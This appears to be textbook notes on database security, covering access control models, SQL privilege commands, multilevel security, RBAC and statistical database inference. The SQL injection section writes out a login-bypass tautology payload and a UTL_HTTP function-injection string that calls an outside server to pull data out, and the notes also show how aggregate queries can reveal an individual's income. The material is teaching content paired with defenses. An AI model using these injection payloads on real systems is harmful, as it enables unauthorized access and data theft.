Database Security

In a multiuser database system, the DBMS must provide techniques to enable certain users or user groups to access selected portions of a database without gaining access to the rest of the database. A DBMS typically includes a **database security and authorization subsystem** that is responsible for ensuring the security of portions of a database against unauthorized access. Following are the security problems associated with databases.

1. Two types of database security mechanisms are:

• *Discretionary security mechanisms:* These are used to grant privileges to users, including the capability to access specific data files, records, or fields in a specified mode (such as read, insert, delete, or update).

• *Mandatory security mechanisms:* These are used to enforce multilevel security by classifying the data and users into various security classes (or levels) and then implementing the appropriate security policy of the organization. For example, a typical security policy is to permit users at a certain classification level to see only the data items classified at the user's own (or lower) classification level.

2. A second security problem common to all computer systems is that of preventing unauthorized persons from accessing the system itself—either to obtain information or to make malicious changes in a portion of the database. The security mechanism of a DBMS must include provisions for restricting access to the database system as a whole. This function is called **access control** and is handled by creating user accounts and passwords to control the log-in process by the DBMS.
3. A third security problem associated with databases is that of controlling the access to a **statistical database,** which is used to provide statistical information or summaries of values based on various criteria. For example, a database for population statistics may provide statistics based on age groups, income levels, size of household, education levels, and other criteria. Statistical database users such as government statisticians or market research firms are allowed to access the database to retrieve statistical information about a population but not to access the detailed confidential information on specific individuals. Security for statistical databases must ensure that information on individuals cannot be accessed. It is sometimes possible to deduce certain facts concerning individuals from queries that involve only summary statistics on groups; consequently this must not be permitted either. This problem is called **statistical database security.**
4. A fourth security issue is **data encryption,** which is used to protect sensitive data—such as credit card numbers—that is being transmitted via some type of communications network. Encryption can be used to provide additional protection for sensitive portions of a database as well. The data is **encoded** by using some coding algorithm. An unauthorized user who accesses encoded data will have difficulty deciphering it, but authorized users are given decoding or decrypting

algorithms (or keys) to decipher the data. Encrypting techniques that are very difficult to decode without a key have been developed for military applications.

Database Security and the DBA

The database administrator (DBA) is the central authority for managing a database system. The DBA's responsibilities include granting privileges to users who need to use the system and classifying users and data in accordance with the policy of the organization. The DBA has a **DBA account** in the DBMS, sometimes called a **system** or **superuser account,** which provides powerful capabilities that are not made available to regular database accounts and users. DBA privileged commands include commands for granting and revoking privileges to individual accounts, users, or user groups and for performing the following types of actions:

1. *Account creation:* This action creates a new account and password for a user or a group of users to enable them to access the DBMS.

2. *Privilege granting:* This action permits the DBA to grant certain privileges to certain accounts.

3. *Privilege revocation:* This action permits the DBA to revoke (cancel) certain privileges that were previously given to certain accounts.

4. *Security level assignment:* This action consists of assigning user accounts to the appropriate security classification level.

The DBA is responsible for the overall security of the database system. Action 1 in the preceding list is used to control access to the DBMS as a whole, whereas actions 2 and 3 are used to control *discretionary* database authorizations, and action 4 is used to control *mandatory* authorization.

Access Protection, User Accounts, and Database Audits

Whenever a person needs to access a database system, he/she must first apply for a user account. The DBA will then create a new **account number** and **password** for the user. The user must **log in** to the DBMS by entering the account number and password whenever database access is needed. The DBMS checks that the account number and password are valid; if they are, the user is permitted to use the DBMS and to access the database. Application programs can also be considered as users and can be required to supply passwords.
The database system must also keep track of all operations on the database that are applied by a certain user throughout each **log-in session,** which consists of the sequence of database interactions that a user performs from the time of logging in to the time of logging off. When a user logs in, the DBMS can record the user's account number and associate it with the terminal from which the user logged in. All operations applied from that terminal are attributed to the user's account until the user logs off. It is particularly

important to keep track of update operations that are applied to the database so that, if the database is tampered with, the DBA can find out which user did the tampering.
To keep a record of all updates applied to the database and of the particular user who applied each update, we can modify the *system log.* The **system log** includes an entry for each operation applied to the database that may be required for recovery from a transaction failure or system crash. We can expand the log entries so that they also include the account number of the user and the on-line terminal ID that applied each operation recorded in the log. If any tampering with the database is suspected, a **database audit** is performed, which consists of reviewing the log to examine all accesses and operations applied to the database during a certain time period. When an illegal or unauthorized operation is found, the DBA can determine the account number used to perform this operation. Database audits are particularly important for sensitive databases that are updated by many transactions and users, such as a banking database that is updated by many bank tellers. A database log that is used mainly for security purposes is sometimes called an **audit trail.**

Discretionary Access Control Based on Granting/Revoking of Privileges

Types of Discretionary Privileges

In SQL2, the concept of **authorization identifier** is used to refer to a user account (or group of user accounts. The DBMS must provide selective access to each relation in the database based on specific accounts. Operations may also be controlled; thus having an account does not necessarily entitle the account holder to all the functionality provided by the DBMS. Informally, there are two levels for assigning privileges to use the database system:

1. *The account level:* At this level, the DBA specifies the particular privileges that each account holds independently of the relations in the database. The privileges at the **account level** can include the CREATE SCHEMA or CREATE TABLE privilege, the ALTER privilege, the DROP privilege, the MODIFY privilege, to insert, delete, or update tuples; and the SELECT privilege. If a certain account does not have the CREATE TABLE privilege, no relations can be created from that account.

2. *The relation* (or *table*) *level:* At this level, we can control the privilege to access each individual relation or view in the database. . Privileges at the relation level specify for each user the individual relations on which each type of command can be applied. Some privileges also refer to individual columns (attributes) of relations. SQL2 commands provide privileges at the *relation and attribute level only*. Although this is quite general, it makes it difficult to create accounts with limited privileges. The granting and revoking of privileges generally follows an authorization model for discretionary privileges known as the **access matrix model,** where the rows of a matrix *M* represent *subjects* (users, accounts, programs) and the columns represent *objects* (relations, records, columns, views,

operations). Each position $M(i, j)$ in the matrix represents the types of privileges (read, write, update) that subject i holds on object j.

To control the granting and revoking of relation privileges, each relation R in a database is assigned an **owner account**, which is typically the account that was used when the relation was created in the first place. The owner of a relation is given *all* privileges on that relation. In SQL2, the DBA can assign an owner to a whole schema by creating the schema and associating the appropriate authorization identifier with that schema, using the CREATE SCHEMA command (see Section 8.1.1). The owner account holder can pass privileges on any of the owned relations to other users by **granting** privileges to their accounts. In SQL the following types of privileges can be granted on each individual relation R:

- SELECT (retrieval or read) privilege on R: Gives the account retrieval privilege. In SQL this gives the account the privilege to use the SELECT statement to retrieve tuples from R.

- MODIFY privileges on R: This gives the account the capability to modify tuples of R. In SQL this privilege is further divided into UPDATE, DELETE, and INSERT privileges to apply the corresponding SQL command to R. In addition, both the INSERT and UPDATE privileges can specify that only certain attributes of R can be updated by the account.

- REFERENCES privilege on R: This gives the account the capability to reference relation R when specifying integrity constraints. This privilege can also be restricted to specific attributes of R.

Specifying Privileges Using Views

The mechanism of **views** is an important discretionary authorization mechanism in its own right. For example, if the owner A of a relation R wants another account B to be able to retrieve only some fields of R, then A can create a view V of R that includes only those attributes and then grant SELECT on V to B. The same applies to limiting B to retrieving only certain tuples of R; a view V can be created by defining the view by means of a query that selects only those tuples from R that A wants to allow B to access.

Revoking Privileges

In some cases it is desirable to grant some privilege to a user temporarily. For example, the owner of a relation may want to grant the SELECT privilege to a user for a specific task and then revoke that privilege once the task is completed. Hence, a mechanism for **revoking** privileges is needed. In SQL a REVOKE command is included for the purpose of canceling privileges.

Propagation of Privileges Using the GRANT OPTION

Whenever the owner A of a relation R grants a privilege on R to another account B, the privilege can be given to B *with* or *without* the **GRANT OPTION**. If the GRANT OPTION is given, this means that B can also grant that privilege on R to other accounts.

Suppose that *B* is given the GRANT OPTION by *A* and that *B* then grants the privilege on *R* to a third account *C*, also with GRANT OPTION. In this way, privileges on *R* can **propagate** to other accounts without the knowledge of the owner of *R*. If the owner account *A* now revokes the privilege granted to *B*, all the privileges that *B* propagated based on that privilege should automatically be revoked by the system.

An Example

Suppose that the DBA creates four accounts—*A*1, *A*2, *A*3, and *A*4—and wants only *A*1 to be able to create base relations; then the DBA must issue the following GRANT command in SQL:

GRANT CREATETAB **TO** A1;

The CREATETAB (create table) privilege gives account *A*1 the capability to create new database tables (base relations) and is hence an *account privilege*. In SQL2 the same effect can be accomplished by having the DBA issue a CREATE SCHEMA command as follows:

CREATE SCHEMA EXAMPLE AUTHORIZATION A1;

Now user account *A*1 can create tables under the schema called EXAMPLE. Suppose that *A*1 creates the two base relations EMPLOYEE and DEPARTMENT shown in following Figure; then *A*1 is the **owner** of these two relations and hence has *all the relation privileges* on each of them.

EMPLOYEE

NAME	SSN	BDATE	ADDRESS	SEX	SALARY	DNO

DEPARTMENT

DNUMBER	DNAME	MGRSSN

Suppose that A1 wants to grant A2 the privilege to insert and delete tuples in both of these relations, but A1 does not want A2 to be able to propagate these privileges to additional accounts: Then *A*1 can issue the following command:

GRANT INSERT, DELETE **ON** EMPLOYEE, DEPARTMENT **TO** A2;

Next, suppose that *A*1 wants to allow account *A*3 to retrieve information from either of the two tables and also to be able to propagate the SELECT privilege to other accounts. Then *A*1 can issue the following command:

GRANT SELECT **ON** EMPLOYEE, DEPARTMENT **TO** A3 **WITH**
GRANT OPTION;

The clause WITH GRANT OPTION means that *A*3 can now propagate the privilege to other accounts by using GRANT. For example, *A*3 can grant the SELECT privilege on the EMPLOYEE relation to *A*4 by issuing the following command:

GRANT SELECT **ON** EMPLOYEE **TO** A4;

suppose that *A*1 decides to revoke the SELECT privilege on the EMPLOYEE relation from *A*3; *A*1 then can issue this command:

REVOKE SELECT **ON** EMPLOYEE **FROM** A3;

The DBMS must now automatically revoke the SELECT privilege on EMPLOYEE from *A*4, too, because *A*3 granted that privilege to *A*4 and *A*3 does not have the privilege any more. Next, suppose that *A*1 wants to give back to *A*3 a limited capability to SELECT from the EMPLOYEE relation and wants to allow *A*3 to be able to propagate the

privilege. The limitation is to retrieve only the NAME, BDATE, and ADDRESS attributes and only for the tuples with DNO = 5. *A*1 then can create the following view:

CREATE VIEW A3EMPLOYEE **AS**
SELECT NAME, BDATE, ADDRESS **FROM** EMPLOYEE **WHERE** DNO = 5;

After the view is created, *A*1 can grant SELECT on the view A3EMPLOYEE to *A*3 as follows:

GRANT SELECT **ON** A3EMPLOYEE **TO** A3 **WITH GRANT OPTION;**

Finally, suppose that *A*1 wants to allow *A*4 to update only the SALARY attribute of EMPLOYEE; *A*1 can then issue the following command:

GRANT UPDATE **ON** EMPLOYEE (SALARY) **TO** A4;

The UPDATE or INSERT privilege can specify particular attributes that may be updated or inserted in a relation. Other privileges (SELECT, DELETE) are not attribute-specific, as this specificity can easily be controlled by creating the appropriate views that include only the desired attributes and granting the corresponding privileges on the views. However, because updating views is not always possible (see Chapter 8), the UPDATE and INSERT privileges are given the option to specify particular attributes of a base relation that may be updated.

Specifying Limits on Propagation of Privileges

Techniques to limit the propagation of privileges have been developed, although they have not yet been implemented in most DBMSs and are not a part of SQL. Limiting **horizontal propagation** to an integer number *i* means that an account *B* given the GRANT OPTION can grant the privilege to at most *i* other accounts. **Vertical propagation** is more complicated; it limits the depth of the granting of privileges. Granting a privilege with vertical propagation of zero is equivalent to granting the privilege with *no* GRANT OPTION. If account *A* grants a privilege to account *B* with vertical propagation set to an integer number $j > 0$, this means that the account *B* has the GRANT OPTION on that privilege, but *B* can grant the privilege to other accounts only with a vertical propagation *less than j*. In effect, vertical propagation limits the sequence of grant options that can be given from one account to the next based on a single original grant of the privilege.

Following is an illustration of horizontal and vertical propagation limits (which are *not available* currently in SQL or other relational systems) with an example:

Suppose that *A*1 grants SELECT to *A*2 on the EMPLOYEE relation with horizontal propagation = 1 and vertical propagation = 2. *A*2 can then grant SELECT to at most one account because the horizontal propagation limitation is set to 1. In addition, *A*2 cannot grant the privilege to another account except with vertical propagation = 0 (no GRANT OPTION) or 1; this is because *A*2 must reduce the vertical propagation by at least 1 when passing the privilege to others. As this example shows, horizontal and vertical propagation techniques are designed to limit the propagation of privileges.

Mandatory Access Control for Multilevel Security

Mandatory Access Control is an all-or-nothing method: a user either has or does not have a certain privilege. In many applications, an *additional security policy* is needed that classifies data and users based on security classes. This approach—known as **mandatory access control**—would typically be *combined* with the discretionary access control mechanisms.

Typical **security classes** are top secret (TS), secret (S), confidential (C), and unclassified (U), where TS is the highest level and U the lowest. The commonly used model for multilevel security, known as the Bell-LaPadula model, classifies each **subject** (user, account, program) and **object** (relation, tuple, column, view, operation) into one of the security classifications TS, S, C, or U. We will refer to the **clearance** (classification) of a subject S as **class(S)** and to the **classification** of an object O as **class(O).** Two restrictions are enforced on data access based on the subject/object classifications:

1. A subject S is not allowed read access to an object O unless class(S) ≥class(O). This is known as the **simple security property.**

2. A subject S is not allowed to write an object O unless class(S) ≤class(O). This is known as the ***-property** (or **star property**).

The first restriction is intuitive and enforces the obvious rule that no subject can read an object whose security classification is higher than the subject's security clearance. The second restriction is less intuitive. It prohibits a subject from writing an object at a lower security classification than the subject's security clearance.

To incorporate multilevel security notions into the relational database model, it is common to consider attribute values and tuples as data objects. Hence, each attribute A is associated with a **classification attribute** C in the schema, and each attribute value in a tuple is associated with a corresponding security classification. In addition, in some models, a **tuple classification** attribute TC is added to the relation attributes to provide a classification for each tuple as a whole. Hence, a **multilevel** relation schema R with *n* attributes would be represented as

R(A1,C1,A2,C2, …, An,Cn,TC)

where each Ci represents the classification attribute associated with attribute Ai.

The value of the TC attribute in each tuple *t*—which is the *highest* of all attribute classification values within *t*—provides a general classification for the tuple itself, whereas each provides a finer security classification for each attribute value within the tuple. The **apparent key** of a multilevel relation is the set of attributes that would have formed the primary key in a regular (single-level) relation. A multilevel relation will appear to contain different data to subjects (users) with different clearance levels. In some cases, it is possible to store a single tuple in the relation at a higher classification level and produce the corresponding tuples at a lower level classification through a process known as **filtering.** In other cases, it is necessary to store two or more tuples at different classification levels with the same value for the *apparent key.* This leads to the concept of **polyinstantiation ,** where several tuples can have the same apparent key value but have different attribute values for users at different classification levels.

these concepts are illustrated with the simple example of a multilevel relation shown in the following Figure (a), where the classification attribute values are displayed next to each attribute's value. Assume that the Name attribute is the apparent key, and consider the query **SELECT** * **FROM** EMPLOYEE. A user with security clearance S would see the same relation shown in Figure(a), since all tuple classifications are less than or equal to S. However, a user with security clearance C would not be allowed to see values for Salary of Brown and JobPerformance of Smith, since they have higher classification. The tuples would be *filtered* to appear as shown in Figure (b), with Salary and JobPerformance *appearing as null*. For a user with security clearance U, the filtering allows only the name attribute of Smith to appear, with all the other attributes appearing as null (Figure (c)). Thus filtering introduces null values for attribute values whose security classification is higher than the user's security clearance.

Figure: A multilevel relation to illustrate multilevel security.
(a) The original EMPLOYEE tuples.
(b) Appearance of EMPLOYEE after filtering for classification C users.
(c) Appearance of EMPLOYEE after filtering for classification U users.
(d) Polyinstantiation of the Smith tuple.

(a) EMPLOYEE

Name		Salary		JobPerformance		TC
Smith	U	40000	C	Fair	S	S
Brown	C	80000	S	Good	C	S

(b) EMPLOYEE

Name		Salary		JobPerformance		TC
Smith	U	40000	C	null	C	C
Brown	C	null	C	Good	C	C

(c) EMPLOYEE

Name		Salary		JobPerformance		TC
Smith	U	null	U	null	U	U

(d) EMPLOYEE

Name		Salary		JobPerformance		TC
Smith	U	40000	C	Fair	S	S
Smith	U	40000	C	Excellent	C	C
Brown	C	80000	S	Good	C	S

In general, the **entity integrity** rule for multilevel relations states that all attributes that are members of the apparent key must not be null and must have the *same* security classification within each individual tuple. In addition, all other attribute values in the tuple must have a security classification greater than or equal to that of the apparent key. This constraint ensures that a user can see the key if the user is permitted to see any part of the tuple at all. Other integrity rules, called **null integrity** and **interinstance integrity,** informally ensure that, if a tuple value at some security level can be filtered (derived) from a higher-classified tuple, then it is sufficient to store the higher-classified tuple in the multilevel relation.

To illustrate polyinstantiation further, suppose that a user with *security clearance C* tries to update the value of JobPerformance of Smith in the above Figure to 'Excellent'; this corresponds to the following SQL update being issued:

UPDATE EMPLOYEE **SET** JobPerformance = 'Excellent'
WHERE Name = 'Smith';

Since the view provided to users with security clearance C (see Figure (b)) permits such an update, the system should not reject it; otherwise, the user could infer that some nonnull value exists for the JobPerformance attribute of Smith rather than the null value that appears. This is an example of inferring information through what is known as a **covert channel,** which should not be permitted in highly secure systems. However, the user should not be allowed to overwrite the existing value of JobPerformance at the higher classification level. The solution is to create a **polyinstantiation** for the Smith tuple at the lower classification level C, as shown in Figure (d). This is necessary since the new tuple cannot be filtered from the existing tuple at classification S.

Role based Access Control (RBAC)

Its basic notion is that privileges and other permissions are associated with organizational roles, rather than individual users. Individual users are then assigned to appropriate roles. Roles can be created using the CREATE ROLE and DESTROY ROLE commands. The GRANT and REVOKE commands can then be used to assign and revoke privileges from roles, as well as for individual users when needed. Security privileges that are com- mon to a role are granted to the role name, and any individual assigned to this role would automatically have those privileges granted.

Separation of duties can be successfully implemented with mutual exclusion of roles. Two roles are said to be mutually exclusive if both the roles cannot be used simultaneously by the user. Mutual exclusion of roles can be categorized into two types, namely authorization time exclusion (static) and runtime exclusion (dynamic). In authorization time exclusion, two roles that have been specified as mutually exclusive cannot be part of a user's authorization at the same time. In runtime exclusion, both these roles can be authorized to one user but cannot be activated by the user at the same time.

The role hierarchy in RBAC is a natural way to organize roles to reflect the organi- zation's lines of authority and responsibility. if a user has one role, the user automatically has roles lower in the hierarchy. Defining a role hierarchy involves

choosing the type of hierarchy and the roles, and then implementing the hierarchy by granting roles to other roles.

Roles can be assigned to workflow tasks so that a user with any of the roles related to a task may be authorized to execute it and may play a certain role only for a certain duration. RBAC models have several desirable features, such as flexibility, policy neutrality, better support for security management and administration, and other aspects that make them attractive candidates for developing secure Web-based applications. These features are lacking in DAC and MAC models. In addition, RBAC models include the capabilities available in traditional DAC and MAC policies. Furthermore, an RBAC model provides mechanisms for addressing the security issues related to the execution of tasks and workflows, and for specifying user- defined and organization-specific policies. Easier deployment over the Internet has been another reason for the success of RBAC models.

Label-Based Security and Row-Level Access Control

Row-level access control provides data security by allowing the permissions to be set for each row and not just for the table or column. In row-level access control, each data row is given a label, which is used to store information about data sensitivity in that row. Initially the user is given a default session label by the database administrator. A user having a low authorization level, usually represented by a low number, is denied access to data having a higher-level number. If no such label is given to a row, a row label is automatically assigned to it depending upon the user's session label.

A policy defined by an administrator is called a **Label Security policy**. Whenever data affected by the policy is accessed or queried through an application, the policy is automatically invoked. When a policy is implemented, a new column is added to each row in the schema. The added column contains the label for each row that reflects the sensitivity of the row as per the policy.

Suppose a user has SELECT privileges on a table. When the user executes a SELECT statement on that table, Label Security will automatically evaluate each row returned by the query to determine whether the user has rights to view the data. For example, if the user has a sensitivity of 20, then the user can view all rows having a security level of 20 **or lower. The level determines the sensitivity of the information contained in a row; the more sensitive** the row, the higher its security label value. Such Label Security can be configured to perform security checks on UPDATE, DELETE, and INSERT statements as well.

XML Access Control

The XML Signature Syntax and Processing specification describes an XML syntax for representing the associations between cryptographic signatures and XML documents or other electronic resources. The specification also includes procedures for computing and verifying XML signatures. The XML signature specification defines mechanisms for

countersigning and transformations—so-called canonicalization to ensure that two instances of the same text produce the same digest for signing even if their representations differ slightly, for example, in typographic white space. The XML Encryption Syntax and Processing specification defines XML vocabulary and processing rules for protecting confidentiality of XML documents in whole or in part and of non-XML data as well.

Access Control Policies for E-Commerce and the Web

Electronic commerce (**e-commerce**) environments require elaborate access control policies that go beyond traditional DBMSs. In conventional database environments, access control is usually performed using a set of authorizations stated by security officers or users according to some security policies. The access control mechanism for E-commerce environment must be flexible enough to support a wide spectrum of heterogeneous protection objects. Following are the access control requirements to be considered for e-commerce applications

- In an e-commerce environment the resources to be protected are not only traditional data but also knowledge and experience.
- A second related requirement is the support for content-based access control. In order to support content-based access control, access control policies must allow inclusion of conditions based on the object content.
- A third requirement is related to the heterogeneity of subjects, which requires access control policies based on user characteristics and qualifications rather than on specific and individual characteristics. A possible solution, to better take into account user profiles in the formulation of access control policies, is to support the notion of credentials. A **credential** is a set of properties concerning a user that are relevant for security purposes (for example, age or position or role within an organization). For instance, by using credentials, one can simply formulate policies such as *Only permanent staff with five or more years of service can access documents related to the internals of the system.*

SQL Injection

Web programs and applications that access a database can send commands and data to the database, as well as display data retrieved from the database through the Web browser. In an SQL Injection attack, the attacker injects a string input through the application, which changes or manipulates the SQL statement to the attacker's advantage.

SQL Injection Methods

SQL Manipulation

This attack changes an SQL command in the application—for example, by adding conditions to the WHERE-clause of a query, or by expanding a query with additional query components. A typical manipulation attack occurs during database login. For example, suppose that an authentication procedure issues the following query and checks to see if any rows were returned:

SELECT * FROM users WHERE username = 'jake' and PASSWORD = 'jakespasswd'.

The attacker can try to change (or manipulate) the SQL statement, by changing it as follows:

SELECT * FROM users WHERE username = 'jake' and (PASSWORD = 'jakespasswd' or 'x' = 'x')

As a result, the attacker who knows that 'jake' is a valid login of some user is able to log into the database system as 'jake' without knowing his password and is able to do everything that 'jake' may be authorized to do to the database system.

Code Injection

This type of attack attempts to add additional SQL statements or commands to the existing SQL statement by exploiting a computer bug, which is caused by processing invalid data. The attacker can inject or introduce code into a computer program to change the course of execution. Code injection is a popular technique for system hacking or cracking to gain information.

Function Call Injection.

In this kind of attack, a database function or operating system function call is inserted into a vulnerable SQL statement to manipulate the data or make a privileged system call. For example, functions that are contained in a customized database package, or any custom database function, can be executed as part of an SQL query.

Translate type of SQL statements can be subjected to a function injection attack. Consider the following example:

SELECT TRANSLATE (" || UTL_HTTP.REQUEST ('http://129.107.2.1/') || '', '98765432', '9876') FROM dual;

The user can input the string (“ || UTL_HTTP.REQUEST (‘http://129.107.2.1/’) || ’’), where || is the concatenate operator, thus requesting a page from a Web server. UTL_HTTP makes Hypertext Transfer Protocol (HTTP) callouts from SQL. The REQUEST object takes a URL (‘http://129.107.2.1/’ in this example) as a parameter, contacts that site, and returns the data (typically HTML) obtained from that site. The attacker could manipulate the string he inputs, as well as the URL, to include other functions and do other illegal operations. We just used a dummy example to show conversion of ‘98765432’ to ‘9876’, but the user’s intent would be to access the URL and get sensitive information. The attacker can then retrieve useful information from the database server—located at the URL that is passed as a parameter— and send it to the Web server (that calls the TRANSLATE function).

Risks Associated with SQL Injection

SQL injection is harmful and the risks associated with it provide motivation for attackers. Some of the risks associated with SQL injection attacks are explained below.

- **Database Fingerprinting.** The attacker can determine the type of database being used in the backend so that he can use database-specific attacks that correspond to weaknesses in a particular DBMS.
- **Denial of Service.** The attacker can flood the server with requests, thus denying service to valid users, or they can delete some data.
- **Bypassing Authentication.** This is one of the most common risks, in which the attacker can gain access to the database as an authorized user and perform all the desired tasks.
- **Identifying Injectable Parameters**. In this type of attack, the attacker gathers important information about the type and structure of the back-end database of a Web application. This attack is made possible by the fact that the default error page returned by application servers is often overly descriptive.
- **Executing Remote Commands.** This provides attackers with a tool to execute arbitrary commands on the database. For example, a remote user can execute stored database procedures and functions from a remote SQL interactive interface.
- **Performing Privilege Escalation**. This type of attack takes advantage of logical flaws within the database to upgrade the access level.

Protection Techniques against SQL Injection

1. **Bind Variables (Using Parameterized Statements)**. The use of bind variables also known as *parameters* protects against injection attacks and also improves performance. Instead of embedding the user input into the statement, the input should be bound to a parameter.
2. **Filtering Input (Input Validation).** This technique can be used to remove escape characters from input strings by using the SQL Replace function. For example, the delimiter single quote (‘) can be replaced by two single quotes (‘’). Some SQL Manipulation attacks can be prevented by using this technique, since escape characters can be used to inject manipulation attacks.

3. **Function Security.** Database functions, both standard and custom, should be restricted, as they can be exploited in the SQL function injection attacks.

Introduction to Statistical Database Security

Statistical databases are used mainly to produce statistics on various populations. The database may contain confidential data on individuals, which should be protected from user access. However, users are permitted to retrieve statistical information on the populations, such as averages, sums, counts, maximums, minimums, and standard deviations.

PERSON

NAME	SSN	INCOME	ADDRESS	CITY	STATE	ZIP	SEX	LAST_DEGREE

A **population** is a set of tuples of a relation (table) that satisfy some selection condition. Hence each selection condition on the PERSON relation will specify a particular population of PERSON tuples. For example, the condition SEX = 'M' specifies the male population; the condition ((SEX = 'F') AND (LAST_DEGREE = 'M. S.' OR LAST_DEGREE = 'PH.D. ')) specifies the female population that has an M.S. or PH.D. degree as their highest degree; and the condition CITY = 'Houston' specifies the population that lives in Houston.

Statistical queries involve applying statistical functions to a population of tuples. For example, we may want to retrieve the number of individuals in a population or the average income in the population. However, statistical users are not allowed to retrieve individual data, such as the income of a specific person. **Statistical database security** techniques must prohibit the retrieval of individual data. This can be controlled by prohibiting queries that retrieve attribute values and by allowing only queries that involve statistical aggregate functions such as COUNT, SUM, MIN, MAX, AVERAGE, and STANDARD DEVIATION. Such queries are sometimes called **statistical queries.**

In some cases it is possible to **infer** the values of individual tuples from a sequence of statistical queries. This is particularly true when the conditions result in a population consisting of a small number of tuples. As an illustration, consider the two statistical queries:

Q1: SELECT COUNT (*) **FROM** PERSON **WHERE**,condition.;
Q2: SELECT AVG (INCOME) **FROM** PERSON **WHERE**,condition.;

Now suppose that we are interested in finding the SALARY of 'Jane Smith', and we know that she has a PH.D. degree and that she lives in the city of Bellaire, Texas. We issue the statistical query Q1 with the following condition:

(LAST_DEGREE='PH.D.' AND SEX='F' AND CITY='Bellaire' AND STATE='Texas')

If we get a result of 1 for this query, we can issue Q2 with the same condition and find the INCOME of Jane Smith. Even if the result of Q1 on the preceding condition is not 1 but is a small number—say, 2 or 3—we can issue statistical queries using the functions

MAX, MIN, and AVERAGE to identify the possible range of values for the INCOME of Jane Smith.

The possibility of inferring individual information from statistical queries is reduced if no statistical queries are permitted whenever the number of tuples in the population specified by the selection condition falls below some threshold. Another technique for prohibiting retrieval of individual information is to prohibit sequences of queries that refer repeatedly to the same population of tuples. It is also possible to introduce slight inaccuracies or "noise" into the results of statistical queries deliberately, to make it difficult to deduce individual information from the results.